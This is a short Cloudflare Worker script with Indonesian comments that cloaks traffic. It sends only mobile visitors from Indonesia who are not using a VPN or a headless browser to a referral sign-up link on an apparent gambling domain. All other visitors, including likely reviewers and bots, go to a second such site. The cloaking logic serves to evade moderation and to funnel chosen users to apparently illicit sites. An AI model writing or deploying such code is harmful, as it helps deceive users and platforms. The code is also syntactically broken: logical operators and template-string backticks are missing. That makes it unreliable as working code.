export default {
  async fetch(request) {

    const userAgent = request.headers.get("User-Agent")  "";
    const cfCountry = request.headers.get("CF-IPCountry")  "XX";
    const ip = request.headers.get("CF-Connecting-IP")  "";

    // 📱 Detect Mobile
    const isMobile =
      /android|iphone|ipad|ipod|opera mini|mobile/i.test(userAgent);

    // 🤖 Emulator / Bot
    const isEmulator =
      /HeadlessChrome|PhantomJS|wv/i.test(userAgent);

    // 🔍 Check VPN / Proxy
    const checkVPNProxy = async (ip) => {
      try {

        const controller = new AbortController();

        const timeout = setTimeout(() => {
          controller.abort();
        }, 2500);

        const response = await fetch(https://ipwho.is/${ip}, {
          signal: controller.signal
        });

        clearTimeout(timeout);

        if (!response.ok) {
          return {
            isVPN: false
          };
        }

        const data = await response.json();

        // ⚠️ Jangan terlalu agresif
        const isVPN =
          data.proxy === true 
          data.connection?.type === "hosting";

        return {
          isVPN
        };

      } catch (e) {

        return {
          isVPN: false
        };
      }
    };

    // Default aman
    let isVPNUser = false;

    // Hanya check kalau ada IP
    if (ip) {
      const vpnInfo = await checkVPNProxy(ip);
      isVPNUser = vpnInfo.isVPN;
    }

    // =========================
    // 🎯 TARGET TRAFFIC
    // =========================

    if (
      isMobile &&
      cfCountry === "ID" &&
      !isEmulator &&
      !isVPNUser
    ) {

      return Response.redirect(
        "https://ketua.izincsplay.com/daftar?ref=AGADB1653179",
        302
      );
    }

    // =========================
    // 🛑 FALLBACK
    // =========================

    return Response.redirect(
      "https://jendralhoki88.org/",
      302
    );
  }
};